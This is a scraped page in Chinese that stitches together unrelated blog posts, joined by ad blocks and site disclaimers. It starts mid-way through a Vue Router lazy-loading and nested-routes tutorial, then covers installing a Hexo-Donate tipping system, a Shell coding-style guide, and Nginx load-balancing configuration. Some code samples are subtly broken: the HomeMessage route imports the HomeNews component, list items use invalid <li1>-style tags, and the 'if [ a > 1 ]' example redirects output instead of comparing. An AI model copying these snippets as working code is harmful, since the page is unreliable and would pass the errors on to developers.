| -----1.xxx.js             (假設是路由about的業務邏輯代碼)
| -----app.XXXX.js         (這個是項目的業務邏輯所在)
| -----manifest.xxxx.js    (這個是底層打包的依賴文件所在)
| -----vendor.xxxx.js      (這個是依賴所在)
| idnex.html
  1. 如何使用

使用非常的簡單,主要有如下的三種方式去使用,但是我最喜歡的還是最後一種方式
/rouetr/index.js

- 使用vue的異步組價和webpack的寫法,早期的時候
const Home = resolve =>{ require.ensure(['../compenet/Home.vue'],()=>{
   resolve (require('../compenet/Home.vue'))
})}

- AMD規範的寫法
const About = resolve =>{ require(['../compenent/About.vue'],resolve) }


- ES6的結合異步組件的方式(最常用)
const Home = () => import('../compenet/Home.vue')

實際的使用
/router/index.js

/**
 * 配置路由相關的信息
 */
// 1. 導入
import Router from 'vue-router'

// 2.1 導入vue實例
import Vue from 'vue'

// 導入組件
// import Home from '../components/Home.vue'
// import About from '../components/About.vue'
// import User from '../components/User'
const Home = () =>
    import ('../components/Home.vue')
const About = () =>
    import ('../components/About.vue')
const User = () =>
    import ('../components/User')


// 2.2使用路由(插件),安裝插件,vue的插件,都是這樣安裝,Vue.use
Vue.use(Router)

// 3. 創建路路由對象,這個就是在Router裏面配置映射和對象等東西

// 4. 抽離配置項出來
const routes = [{
        path: '/',
        redirect: '/home'
    },
    {
        path: '/home',
        component: Home
    },
    {
        path: '/about',
        component: About
    },
    {
        path: "/user/:usermsg",
        component: User
    }
]

const router = new Router({
    routes,
    mode: "history"
})

//4. 導出
export default router

//6. 去main裏面掛載

七、 路由嵌套

我們目前有這樣的一個需求:我們希望我們在hone下,可以/home/new去到home下的一個子組件,/home/message去到另一個子組件

  1. 首先 我們需要有組件
    /components/HomeMessage.vue
<template>
    <div>
      <ul>
          <li1>我是消息1</li1>
          <li2>我是消息2</li2>
          <li3>我是消息3</li3>
          <li4>我是消息4</li4>
      </ul>
    </div>
</template>

<script>
    export default {
        name:"HomeMessage"
    }   
</script>

<style>

</style>

/components/HomeNews

<template>
    <div>
    <ul>
        <li1>新1</li1>
        <li2>新2</li2>
        <li3>新3</li3>
        <li4>新4</li4>
        <li5>新5</li5>
    </ul>
    </div>
</template>

<script>
    export default {
        name:"HomeNews"
    }
</script>

<style>

</style>
  1. 在路由裏面去配置
const HomeNews = () =>
    import ('../components/HomeNews')
const HomeMessage = () =>
    import ('../components/HomeNews')


// 2.2使用路由(插件),安裝插件,vue的插件,都是這樣安裝,Vue.use
Vue.use(Router)

// 3. 創建路路由對象,這個就是在Router裏面配置映射和對象等東西

// 4. 抽離配置項出來
const routes = [{
        path: '/',
        redirect: '/home'
    },
    {
        path: '/home',
        component: Home,
        children: [{
                path: '',
                redirect: 'news'
            },
            {
                path: 'news',// 這裏寫路由實際上應該是/home/news,這裏只是一個相對路由地址,
                component: HomeNews
            },
            {
                path: 'message',
                component: HomeMessage
            },

        ]
    },
    {
  1. 打入口router-view(瞎起的名字實際上就是路由的佔位符)
    /Home.vue
<template>
    <div>
        <h2>我是首頁</h2>
        <p>我是首頁內容哈哈哈</p>
     <router-link to="/home/news">news</router-link>
     <router-link to="/home/message">message</router-link>
    <router-view></router-view>
    </div>
</template>

<script>
    export default {
        
    }
</script>

<style scoped>

</style>

這裏如果是有關狀態的保持,我們需要使用key-alive,後面我們再做詳細的講解

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

南投搬家公司費用需注意的眉眉角角,別等搬了再說!

※教你寫出一流的銷售文案?

給你看看小白博主開發的打賞系統

本文章最初發表在XJHui’s Blog,未經允許,任何人禁止轉載!

為使您獲得最好的閱讀體驗,強烈建議您點擊 這裏 前往 XJHui’s Blog 查看!

Hexo-Donate

打賞系統;打賞並填寫問卷后信息可以自動在打賞列表中展示;

GitHub項目地址:https://github.com/xingjiahui/Hexo-Donate

寫在前面

  1. 作者是大二軟工學生,在代碼規範系統強壯性等方面肯定存在欠缺,但也在努力提升自己能力。

  2. 自己的 個人博客 搭建好后,又用之前學的Web前端知識寫了打賞頁面,思路是:

    給 IamZLT 體驗后,也是覺得體驗不太友善(從填寫問卷到看到自己的打賞信息需要等待的時間太長)

    決定改版,從05.2706.02用一周的時間從確定思路測試思路可行性,從測試版發布再到功能完善,最終有了此系統。

    新版本思路:

  3. 系統用到的數據庫PHP等方面知識我還是個小白,但能憑自己能力把它實現出來就已經很滿意了。

  4. 問題或不足歡迎開 issues 或到 XJHui’s Blog 留言。

關於系統

理論上不管什麼框架,只要有一個空白頁面就能安排上…

打賞列表demo:https://xingjiahui/donate

問卷頁面demo:https://donate.xingjiahui.top

後台管理暫時需要操作數據庫(可視化界面),如有必要可以添加後端管理頁面

已支持的功能

  1. 打賞列表可統計總打賞人數打賞金額
  2. 不同打賞方式字體显示顏色不同
  3. 填寫打賞問卷並成功上傳,可在打賞列表中显示填寫的信息
  4. 數據上傳成功后,博主會收到QQ消息提醒

待更新內容

  1. 區分已核實未核實金額
  2. 豐富QQ消息提醒內容
  3. 接入微信推送
  4. 支持自動審核

系統界面圖

  1. 打賞列表:

  2. 問卷頁面:

  3. 操作GIF實錄:

注:QQ消息提醒內容以後會豐富。

安裝系統要求

  1. 虛擬主機(有免費版本在這裏 購買 )或 雲服務器(小白建議安裝寶塔面板)
  2. 打賞列表準備一個頁面

使用該系統

教程中用到的免費虛擬主機維護結束,已開放購買。

下載並上傳

  1. 在項目頁clone or download選擇Download ZIP

  2. 在虛擬主機控制面板選擇在線文件管理器並進入www目錄下:

    解壓后如圖:

    框選出的文件/文件夾可刪除

導入數據庫

點擊donate_info.sql文件后的導入,提示輸入數據庫密碼

當你開通虛擬主機時,會看到如下頁面:

將這個密碼填入,即可導入成功(無視警告):

為了便於測試,導入的數據庫中自帶了兩條數據:

系統測試完成后請刪除!

搭建問卷網站

其實,將項目文件導入后,網站已經搭建完成:

但訪問這個頁面需要域名,依次點擊控制面板基本功能域名綁定,就能看到自己網站的域名啦:

瀏覽器訪問這個域名就能看到上面那個頁面了,但並不代表系統就弄好了!

配置虛擬主機

回到面板首頁,找到賬戶主機信息

將右下角的PHP版本更換為php73

注:如果不知道怎麼回主面板,點擊上圖左上角頭像試試!

以下操作需要在www目錄下完成!

  1. 配置getJsonData.php

    點擊編輯

    找到下圖框選出的位置:

    還記得賬戶主機信息么,將對應的信息替換。

  2. 配置regist.php

    點擊編輯,找到下圖框選出的位置:

    下圖位置也要修改:

  3. 測試數據庫是否配置成功

    訪問上面那個域名,填寫上信息:

    上傳,判斷是否配置成功:

    ​ 注意:只要是提示錯誤/警告一定是操作問題,認真檢查。

  4. 檢查數據導出是否正常:

    瀏覽器訪問:域名/getJsonData.php

    查看能否導出數據庫內容:

目前為止,打賞頁面數據庫已經配置好了,最後就是在前端把數據庫中的數據展現出來。

編輯前端頁面

  1. forkgithub項目:

  2. 編輯pageJs.js文件

    點擊下圖位置可以在線修改文件:

    修改內容為:

  3. 編輯下面的代碼並粘貼到前面準備的空白頁面:

    Hexo框架下無論post(博客)還是page(頁面)都是markdown格式,但markdown兼容html提供了很大的便利性。

    修改下圖位置代碼:

    粘貼到空白頁面(markdown/html均可):

    <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/sviptzk/HexoStaticFile@master/Hexo/css/custom.min.css">
    <p>截至 <span class="inline-tag red">nowDate</span>,共收到來自 <span class="inline-tag red">personNum</span>位小夥伴的打賞,金額為
        <span class="inline-tag red">sumDonate</span> 元!</p>
    <table>
        <thead>
        <tr>
            <th align="center">用戶名</th>
            <th align="center">打賞方式</th>
            <th align="center">打賞金額</th>
            <th align="center">賞金去向</th>
        </tr>
        </thead>
    </table>
    <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/jquery@latest/dist/jquery.min.js"></script>
    <script type="text/javascript" src="https://cdn.jsdelivr.net/gh/改成你的github用戶名/Hexo-donate@latest/pageJs.js"></script>
    

    注意:上面引用css不符合規範,但暫時沒有找到替代的方法。

  4. 檢查前端頁面是否能夠正常显示數據:

提醒功能

  1. 到 Qmsg醬 這裏登陸並選擇一個Qmsg醬小姐姐

  2. 添加一個QQ號,然後添加1中的選擇的小姐姐為好友:

    注意:登陸賬號(如果QQ登陸)添加的賬號都要添加“她”為好友。

  3. 點擊文檔,用接口地址替換下面代碼中的接口地址

    echo '<script>function Qmsg(){var xhr=new XMLHttpRequest();url="接口地址?msg=收到新的打賞啦!";url=encodeURI(url);xhr.open("GET",url,true);xhr.send()}Qmsg();</script>';
    
  4. www目錄下編輯regist.php文件,將上面的代碼粘貼在下圖位置:

後期使用

  1. 填寫打賞問卷后,點擊返回打賞列表會跳轉到作者的打賞列表:

    想修改為自己的,可以修改虛擬主機www目錄下的index.html文件:

  2. 後期維護:

    當有人打賞后,根據填寫的打賞方式去賬戶看有沒有到賬。

    • 收到打賞:將數據庫中donate_confirm字段修改為YES

    • 未收到打賞:在數據庫中將該記錄刪除

至此,Hexo-Donate打賞系統全部安裝完成!

感謝

愛網雲、JsDelivr、Qmsg醬、亂世中的單純

FLORIN POP、濤歌依舊、Yiven、程序小能手

怪我咯、SweetAlert2、BigShow、百度經驗

不足之處,歡迎留言,會及時回復,及時更正!

創作不易,感謝支持!

本文由博客群發一文多發等運營工具平台 OpenWrite 發布

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※產品缺大量曝光嗎?你需要的是一流包裝設計!

Shell語法規範

  • ver:1.0
  • 博客:https://www.cnblogs.com/Rohn
  • 本文介紹了Shell編程的一些語法規範,主要參考依據為谷歌的Shell語法風格。

目錄

  • 背景
    • 使用哪一種Shell
    • 什麼時候使用Shell
  • 註釋
    • 頂層註釋
    • 功能註釋
    • TODO註釋
  • 格式
    • 縮進
    • 行的長度和長字符串
    • 管道
    • 循環
      • if-else語句
      • for-do和while-do語句
    • case語句
    • 變量擴展
  • 特性
    • 命令替換
    • 文件名的通配符擴展
  • 命名約定
    • 函數名
    • 變量名
    • 常量和環境變量名
    • 源文件名
    • 只讀變量
    • 使用本地變量
  • 調用命令
    • 檢查返回值

背景

博客:https://www.cnblogs.com/Rohn

使用哪一種Shell

可執行文件必須以 #!/bin/bash 和最小數量的標誌開始。請使用 set 來設置shell的選項,使得用 <script_name>調用你的腳本時不會破壞其功能。

推薦使用:

#!/usr/bin/env bash

env一般固定在/usr/bin目錄下,而其餘解釋器的安裝位置就相對不那麼固定。

限制所有的可執行Shell腳本為bash使得我們安裝在所有計算機中的shell語言保持一致性。

無論你是為什麼而編碼,對此唯一例外的是當你被迫時可以不這麼做的。其中一個例子是Solaris SVR4包,編寫任何腳本都需要用純Bourne shell

[root@test ~]# echo $SHELL
/bin/bash

什麼時候使用Shell

使用Shell需要遵守的一些準則:

  • 如果你主要是在調用其他的工具並且做一些相對很小數據量的操作,那麼使用Shell來完成任務是一種可接受的選擇。
  • 如果你在乎性能,那麼請選擇其他工具,而不是使用Shell。
  • 如果你發現你需要使用數據而不是變量賦值(如 ${PHPESTATUS} ),那麼你應該使用Python腳本。
  • 如果你將要編寫的腳本會超過100行,那麼你可能應該使用Python來編寫,而不是Shell。

請記住,當腳本行數增加,儘早使用另外一種語言重寫你的腳本,以避免之後花更多的時間來重寫。

註釋

博客:https://www.cnblogs.com/Rohn

Bash只支持單行註釋,使用#開頭的都被當作註釋語句。

頂層註釋

每個文件必須包含一個頂層註釋,對其內容進行簡要概述。版權聲明和作者信息是可選的。
例如:

#!/usr/bin/env bash
# Author: Rohn
# Version: 1.0
# Created Time: 2020/06/06
# Perform hot backups of MySQL databases.
  • 第1行,指明解釋器,使用bash

#!叫做”Shebang”或者”Sha-bang”(Unix術語中,#號通常稱為sharp,hash或mesh;而!則常常稱為bang),指明了執行這個腳本文件的解釋程序。當然,如果使用bash test.sh這樣的命令來執行腳本,那麼#!這一行將會被忽略掉。

  • 第2-5行,分別為作者、版本號、創建時間、功能說明。

功能註釋

任何不是既明顯又短的函數都必須被註釋。任何庫函數無論其長短和複雜性都必須被註釋。

其他人通過閱讀註釋(和幫助信息,如果有的話)就能夠學會如何使用你的程序或庫函數,而不需要閱讀代碼。

所有的函數註釋應該包含:

  • 函數的描述
  • 全局變量的使用和修改
  • 使用的參數說明
  • 返回值,而不是上一條命令運行后默認的退出狀態

例如:

#!/usr/bin/env bash
# Author: Rohn
# Version: 1.0
# Created Time: 2020/06/06
# Perform hot backups of Oracle databases.

export PATH='/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin'

#######################################
# Cleanup files from the backup dir
# Globals:
#   BACKUP_DIR
#   ORACLE_SID
# Arguments:
#   None
# Returns:
#   None
#######################################
cleanup() {
  ...
}

TODO註釋

TODOs應該包含全部大寫的字符串TODO,接着是括號中你的用戶名。冒號是可選的。最好在TODO條目之後加上bug或者ticket的序號。

例如:

# TODO(mrmonkey): Handle the unlikely edge cases (bug ####)

格式

博客:https://www.cnblogs.com/Rohn

縮進

縮進兩個空格,沒有製表符。例如:

if [ a > 1 ];then
  echo '${a} > 1'
fi

行的長度和長字符串

行的最大長度為80個字符。例如:

# DO use 'here document's
cat <<END;
I am an exceptionally long
string.
END

# Embedded newlines are ok too
long_string="I am an exceptionally
  long string."

管道

如果一行容不下整個管道操作,那麼請將整個管道操作分割成每行一個管段。

應該將整個管道操作分割成每行一個管段,管道操作的下一部分應該將管道符放在新行並且縮進2個空格。這適用於使用管道符|的合併命令鏈以及使用||&&的邏輯運算鏈。

例如:

# All fits on one line
command1 | command2

# Long commands
command1 \
  | command2 \
  | command3 \
  | command4

循環

if-else語句

if; then放在同一行,;后空一格,else單獨一行,fi單獨一行,並與if垂直對齊。即:

if condition; then
  statement(s)
else
  statement(s)
fi

for-do和while-do語句

while/for; do放在同一行,donewhile/for垂直對齊,即:

# while structure
while condition; do
  statement(s)
done

# for structure
for condition; do
  statement(s)
done

例如:

for dir in ${dirs_to_cleanup}; do
  if [[ -d "${dir}/${ORACLE_SID}" ]]; then
    log_date "Cleaning up old files in ${dir}/${ORACLE_SID}"
    rm "${dir}/${ORACLE_SID}/"*
    if [[ "$?" -ne 0 ]]; then
      error_message
    fi
  else
    mkdir -p "${dir}/${ORACLE_SID}"
    if [[ "$?" -ne 0 ]]; then
      error_message
    fi
  fi
done

case語句

  • 通過2個空格縮進可選項。
  • 在同一行可選項的模式右圓括號之後和結束符 ;;之前各需要一個空格。
  • 長可選項或者多命令可選項應該被拆分成多行,模式、操作和結束符;;在不同的行。

匹配表達式比caseesac 縮進一級。多行操作要再縮進一級。一般情況下,不需要引用匹配表達式。模式表達式前面不應該出現左括號。避免使用;&;;&符號。即:

# case structure
case in expression in
  pattern1)
    statement1
    ;;
  pattern2)
    statement2
    ;;
  ...
  *)
    statementn
    ;;
esac

例如:

case "${expression}" in
  a)
    variable="..."
    some_command "${variable}" "${other_expr}" ...
    ;;
  absolute)
    actions="relative"
    another_command "${actions}" "${other_expr}" ...
    ;;
  *)
    error "Unexpected expression '${expression}'"
    ;;
esac

只要整個表達式可讀,簡單的命令可以跟模式和;; 寫在同一行。這通常適用於單字母選項的處理。當單行容不下操作時,請將模式單獨放一行,然後是操作,最後結束符;; 也單獨一行。當操作在同一行時,模式的右括號之後和結束符;;之前請使用一個空格分隔。

verbose='false'
aflag=''
bflag=''
files=''
while getopts 'abf:v' flag; do
  case "${flag}" in
    a) aflag='true' ;;
    b) bflag='true' ;;
    f) files="${OPTARG}" ;;
    v) verbose='true' ;;
    *) error "Unexpected option ${flag}" ;;
  esac
done

變量擴展

按優先級順序:保持跟你所發現的一致;引用你的變量;推薦用${var}而不是$var

例如

# Section of recommended cases.

# Preferred style for 'special' variables:
echo "Positional: $1" "$5" "$3"
echo "Specials: !=$!, -=$-, _=$_. ?=$?, #=$# *=$* @=$@ \$=$$ ..."

# Braces necessary:
echo "many parameters: ${10}"

# Braces avoiding confusion:
# Output is "a0b0c0"
set -- a b c
echo "${1}0${2}0${3}0"

# Preferred style for other variables:
echo "PATH=${PATH}, PWD=${PWD}, mine=${some_var}"
while read f; do
  echo "file=${f}"
done < <(ls -l /tmp)

# Section of discouraged cases

# Unquoted vars, unbraced vars, brace-quoted single letter
# shell specials.
echo a=$avar "b=$bvar" "PID=${$}" "${1}"

# Confusing use: this is expanded as "${1}0${2}0${3}0",
# not "${10}${20}${30}
set -- a b c
echo "$10$20$30"

特性

博客:https://www.cnblogs.com/Rohn

命令替換

使用 $(command)而不是反引號。

嵌套的反引號要求用反斜杠轉義內部的反引號。而$(command) 形式嵌套時不需要改變,而且更易於閱讀。

例如:

# This is preferred:
var="$(command "$(command1)")"

# This is not:
var="`command \`command1\``"

文件名的通配符擴展

當進行文件名的通配符擴展時,請使用明確的路徑。

因為文件名可能以-開頭,所以使用擴展通配符./**來得安全得多。

# Here's the contents of the directory:
# -f  -r  somedir  somefile

# This deletes almost everything in the directory by force
psa@bilby$ rm -v *
removed directory: `somedir'
removed `somefile'

# As opposed to:
psa@bilby$ rm -v ./*
removed `./-f'
removed `./-r'
rm: cannot remove `./somedir': Is a directory
removed `./somefile'

命名約定

博客:https://www.cnblogs.com/Rohn

函數名

使用小寫字母,並用下劃線分隔單詞。使用雙冒號 :: 分隔庫。函數名之後必須有圓括號。關鍵詞 function 是可選的,但必須在一個項目中保持一致。

如果你正在寫單個函數,請用小寫字母來命名,並用下劃線分隔單詞。如果你正在寫一個包,使用雙冒號 :: 來分隔包名。大括號必須和函數名位於同一行(就像在Google的其他語言一樣),並且函數名和圓括號之間沒有空格。

# Single function
my_func() {
  ...
}

# Part of a package
mypackage::my_func() {
  ...
}

當函數名后存在 () 時,關鍵詞 function 是多餘的。但是其促進了函數的快速辨識。

變量名

使用小寫字母,循環的變量名應該和循環的任何變量同樣命名。例如:

for zone in ${zones}; do
  something_with "${zone}"
done

常量和環境變量名

全部使用大寫字母,用下劃線分隔,聲明在文件的頂部。例如:

# Constant
readonly PATH_TO_FILES='/some/path'

# Both constant and environment
declare -xr ORACLE_SID='PROD'

源文件名

使用小寫字母,如果需要的話使用下劃線分隔單詞。例如: maketemplate 或者 make_template ,而不是 make-template

只讀變量

使用小寫字母,使用 readonly 或者 declare -r 來確保變量只讀。

因為全局變量在Shell中廣泛使用,所以在使用它們的過程中捕獲錯誤是很重要的。當你聲明了一個變量,希望其只讀,那麼請明確指出。

zip_version="$(dpkg --status zip | grep Version: | cut -d ' ' -f 2)"
if [[ -z "${zip_version}" ]]; then
  error_message
else
  readonly zip_version
fi

使用本地變量

使用小寫字母,使用 local 聲明特定功能的變量。聲明和賦值應該在不同行。

使用 local 來聲明局部變量以確保其只在函數內部和子函數中可見。這避免了污染全局命名空間和不經意間設置可能具有函數之外重要性的變量。

當賦值的值由命令替換提供時,聲明和賦值必須分開。因為內建的 local 不會從命令替換中傳遞退出碼。

my_func2() {
  local name="$1"

  # Separate lines for declaration and assignment:
  local my_var
  my_var="$(my_func)" || return

  # DO NOT do this: $? contains the exit code of 'local', not my_func
  local my_var="$(my_func)"
  [[ $? -eq 0 ]] || return

  ...
}

調用命令

博客:https://www.cnblogs.com/Rohn

檢查返回值

對於非管道命令,使用$?或直接通過一個if語句來檢查以保持其簡潔。例如:

if ! mv "${file_list}" "${dest_dir}/" ; then
  echo "Unable to move ${file_list} to ${dest_dir}" >&2
  exit "${E_BAD_MOVE}"
fi

# Or
mv "${file_list}" "${dest_dir}/"
if [[ "$?" -ne 0 ]]; then
  echo "Unable to move ${file_list} to ${dest_dir}" >&2
  exit "${E_BAD_MOVE}"
fi

Bash也有 PIPESTATUS 變量,允許檢查從管道所有部分返回的代碼。如果僅僅需要檢查整個管道是成功還是失敗,以下的方法是可以接受的:

tar -cf - ./* | ( cd "${dir}" && tar -xf - )
if [[ "${PIPESTATUS[0]}" -ne 0 || "${PIPESTATUS[1]}" -ne 0 ]]; then
  echo "Unable to tar files to ${dir}" >&2
fi

可是,只要你運行任何其他命令, PIPESTATUS 將會被覆蓋。如果你需要基於管道中發生的錯誤執行不同的操作,那麼你需要在運行命令后立即將 PIPESTATUS 賦值給另一個變量(別忘了 [ 是一個會將 PIPESTATUS 擦除的命令)。

tar -cf - ./* | ( cd "${DIR}" && tar -xf - )
return_codes=(${PIPESTATUS[*]})
if [[ "${return_codes[0]}" -ne 0 ]]; then
  do_something
fi
if [[ "${return_codes[1]}" -ne 0 ]]; then
  do_something_else
fi

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※別再煩惱如何寫文案,掌握八大原則!

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

※教你寫出一流的銷售文案?

網頁設計最專業,超強功能平台可客製化

※產品缺大量曝光嗎?你需要的是一流包裝設計!

【從單體架構到分佈式架構】(三)請求增多,單點變集群(2):Nginx

上一個章節,我們學習了負載均衡的理論知識,那麼是不是把應用部署多套,前面掛一個負載均衡的軟件或硬件就可以應對高併發了?其實還有很多問題需要考慮。比如:

1. 當一台服務器掛掉,請求如何轉發到其他正常的服務器上?
2. 掛掉的服務器,怎麼才能不再訪問?
3. 如何保證負載均衡的高可用性?

等等等等...

讓我們帶着這些問題,實戰學習一下 Nginx 的配置和使用。

1. 前置概念

在正式介紹 Nginx 之前,首先讓我們先了解一下概念。

1. 中間件

干 IT 太累了,我準備辭職開了個燒烤攤,賣羊肉串;

賣羊肉串首先就得有羊肉,於是我就聯繫了很多養殖場,我又是一個比較負責任的人,為了保證羊肉的質量,我就去考察了一家又一家養殖場,同時我也是個“小氣”的人,所以我考察過程中,和對方談判、比價,最終選了一個養殖場作為我的羊肉供應商,為我提供羊肉。

經營了一陣子,這個養殖場提供的羊肉質量沒有以前好了,那麼我就重新考察、談判、比價,如此反覆,我投入了大量的時間和精力。

於是我找到了一個信得過的代理公司,約定要羊肉的質量和數量,談好價錢,以後我只找代理商拿貨,具體代理商找的哪家養殖場我不去過問,甚至代理商可以送貨上門。

在這個例子裏面,賣燒烤就是業務,我的燒烤攤是業務端,養殖場是底層,而 這個信得過的代理公司,就是中間件。

2. 正向代理和反向代理

正向代理:我住在北京,但是想回老家買套房,但是我沒辦法親自回老家考察,於是我就派我的管家回老家考察;管家就是正向代理服務器;正向代理服務器代表了客戶端,在正向代理的過程中,服務端只和代理服務器打交道(房東只和我的管家談),並不知道真正的客戶端是誰。

反向代理:我住在北京,但是想回老家買套房,但是我沒辦法親自回老家考察,於是我打個電話聯繫了老家的房屋中介去辦這件事兒;房屋中介就是反向代理;這裏的反向代理,代表的是房東,在反向代理的過程中,客戶端只和反向代理服務器打交道,並不知道真正的服務端是誰。

當然,我的管家也可以聯繫我老家的房屋中介,那麼架構圖就會變成:

2. Nginx 的概念

了解完上面的幾個概念,那麼 Nginx 的概念理解起來就簡單很多了:

Nginx 就是一個開源的、高性能的、可靠的 Http 中間件; 它經常被用作 Http 代理、反向代理、負載均衡等等,當然它也能做正向代理,但是實際很少有這麼用的。

3. 最簡單的 Nginx 使用示例

本章節項目的代碼:chapter3

Step 1. 部署多套環境

我們將章節 1 中的項目 chapter1 複製出來一份,改名為 chapter3,表示是第 3 章節的項目,同時修改:

1. pom.xml 中的 artifactId 修改為 chapter3
2. application.yml 中的 server.port 修改成 8089

這樣我們分別啟動 chapter1 和 chapter3,這樣就相當於把相同的項目部署了兩套,端口分別是 8088 和 8089 。

Step 2. 下載 Nginx

我們可以在 Nginx 的官網 下載我們所需的版本,因為我使用 windows 環境開發,所以我在這裏就選擇了 nginx/Windows-1.14.2 這個版本。

下載完成解壓縮,不需要額外的安裝,可以直接使用。

Step 3. 配置 Nginx

進入 nginx-1.14.2\conf 目錄下,用文本編輯器打開 nginx.conf,對配置文件進行如下修改:

1. 在 http 中增加 upstream,並配置兩台環境的地址;
2. 在 http.server.location 中增加 proxy_pass 的配置;

http {
    ...

    #增加 upstream 的配置,其中 myserver 是自己起的名字
    upstream myserver{
	     server 127.0.0.1:8088;  #有幾套環境,就配置幾條
	     server 127.0.0.1:8089;
    }

    server {
        listen       80;
        server_name  localhost;

        #charset koi8-r;

        #access_log  logs/host.access.log  main;

        location / {
            root   html;
            index  index.html index.htm;
            proxy_pass  http://myserver; #增加,其中 http://myserver 的 myserver 要和上文對應
        }

      }
    }
    ...
}

完整配置文件請參考:nginx.conf

Step 4. 啟動 Nginx

我們可以直接雙擊 nginx-1.14.2 目錄下的 nginx.exe 啟動;也可以通過 cmd 命令打開控制台,進入 nginx-1.14.2 目錄執行如下命令啟動 Nginx:

start nginx //啟動 Nginx ;啟動后可能一閃而過,我們可以看一下任務管理器是否有名字叫做 nginx.exe 的進程

nginx.exe -s stop //停止 Nginx
nginx.exe -s quit //停止 Nginx

Step 5. 測試 Nginx

讓我們測試一下 Nginx 是否配置並啟動成功,打開瀏覽器輸入:

http://127.0.0.1/queryAdmin

注意這裏並沒有加端口號,是因為 url 中沒有端口號的時候表示端口號為 80,而我們 Nginx 的配置文件中,監聽的正是 80 端口 (listen 80);我們可以在瀏覽器中看到服務返回的結果:

User : Admin

這就說明 Nginx 已經轉發了我們的請求到了服務端,並正確返回,那麼負載均衡是如何體現的呢?讓我們多刷新幾次瀏覽器,然後看看後台日誌:

我前後一共調用了 5 次服務,可以看到兩個服務端分別接收到了 2 次和 3 次請求,負載均衡達到了效果。

4. Nginx 常見的路由策略

1. 輪詢法

最簡單的輪詢法,多餘的配置不需要增加。

upstream myserver{
   server 127.0.0.1:8088;  # 有幾套環境,就配置幾條
   server 127.0.0.1:8089;
}

2. 源地址哈希法

使用 ip_hash 關鍵字,每一個請求,都按 hash(IP) 的結果決定訪問哪台服務器;

upstream myserver{
   ip_hash; # hash(IP)
   server 127.0.0.1:8088;  # 有幾套環境,就配置幾條
   server 127.0.0.1:8089;
}

如果我們本地測試,多次訪問接口,可以發現請求永遠落到同一個服務上,因為本地 IP 一直沒有改變。

3. 加權輪詢法

使用 weight 關鍵字,設置每台服務器的權重;

upstream myserver{
   server 127.0.0.1:8088 weight=1;  # 20% 請求會發給8088
   server 127.0.0.1:8089 weight=4;
}

4. 最小連接數法

根據每個服務器節點的連接數,動態地選擇當前連接數最少的服務器轉發請求;

upstream myserver{
   least_conn;
   server 127.0.0.1:8088;
   server 127.0.0.1:8089;
}

5. 最快響應速度法

根據每個服務器節點的響應時間(請求的往返延遲),動態地選擇當前響應速度最快的服務器轉發請求;需要額外安裝 nginx-upstream-fair 模塊。

upstream myserver{
   fair; # 額外安裝 nginx-upstream-fair 模塊
   server 127.0.0.1:8088;
   server 127.0.0.1:8089;
}

6. URL 哈希算法

對 URL 進行 Hash 運算,根據結果來分配請求,這樣每個 URL 都可以訪問到同一個服務端;當服務端有緩存的時候,比較有效。

upstream myserver{
   hash $request_uri;
   server 127.0.0.1:8088;  # 有幾套環境,就配置幾條
   server 127.0.0.1:8089;
}

也可以安裝第三方模塊,比如我們要使用 URL 一致性哈希算法,那麼我們可以安裝 ngx_http_upstream_consistent_hash 模塊。

upstream myserver{
   consistent_hash $request_uri;
   server 127.0.0.1:8088;
   server 127.0.0.1:8089;
}

參考資料:Upstream Consistent Hash

5. Nginx 常用功能

5.1 請求失敗重試

當一台服務器掛掉,請求如何轉發到其他正常的服務器上?

我們可以先做個試驗,就是關閉 8089 端口的服務,只保留 8088 端口的服務,然後調用幾次接口,如果其中一次調用長時間不返回(瀏覽器訪問狀態圖標一直在打轉),表示本次請求發送到了 8089 端口,那麼讓我們等待一段時間…大約一分鐘之後,8080 端口服務的後台日誌,打印出來日誌,調用端接收到了返回,這說明:

  1. Nginx 默認有失敗重試機制;
  2. 默認的超時時間為 60s 。

這裏的超時時間是可以修改的,需要在 http.server.location 中增加如下配置:

location / {
            root   html;
            index  index.html index.htm;
            proxy_pass  http://myserver;
            proxy_connect_timeout 5; # 連接超時時間
            proxy_send_timeout 5; # 發送數據給後端服務器的超時時間
            proxy_read_timeout 5; # 後端服務器的相應時間
            #proxy_next_upstream off; # 是否要關閉重試機制
        }

完整配置文件請參考:設置超時重試時間5秒-nginx.conf

不過這裏要注意一點,如果設置了服務器相應超時時間(比如設置了 10s ),萬一應用的業務處理時間比較慢(業務處理花費了 15s ),那麼會導致 Nginx 超時重試,那麼可能會造成重複處理。

5.2 後端服務器節點健康狀態檢查

如果掛掉一台服務器,路由到這台服務器請求每次都要等到超時時間過去,才能發起重試,如果 Nginx 不再把請求發送給掛掉的服務器,那就省事多了;

這就叫做“後端服務器節點健康狀態檢查”。

如果不安裝第三方模塊,可以做如下配置完成“後端服務器節點健康狀態檢查”:

1. 設置超時時間:

location / {
            root   html;
            index  index.html index.htm;
            proxy_pass  http://myserver;
            proxy_connect_timeout 5; # 連接超時時間
            proxy_send_timeout 5; # 發送數據給後端服務器的超時時間
            proxy_read_timeout 5; # 後端服務器的相應時間
            #proxy_next_upstream off; # 是否要關閉重試機制
        }

2. 設置嘗試重試的次數:

upstream myserver{
  	server 127.0.0.1:8088 max_fails=1 fail_timeout=100s;
  	server 127.0.0.1:8089 max_fails=1 fail_timeout=100s;
}

其中 max_fails 表示最多失敗次數,fail_timeout 表示在一個時間段內,服務器不會再次嘗試訪問;上面的配置表示在 100s 內,只要超時失敗 1 次,就不再訪問該服務器。

完整配置文件請參考:設置超時重試時間5s-失敗1次100秒之內不再訪問-nginx.conf

除此之外,我們還可以安裝第三方模塊來實現“後端服務器節點健康狀態檢查”:

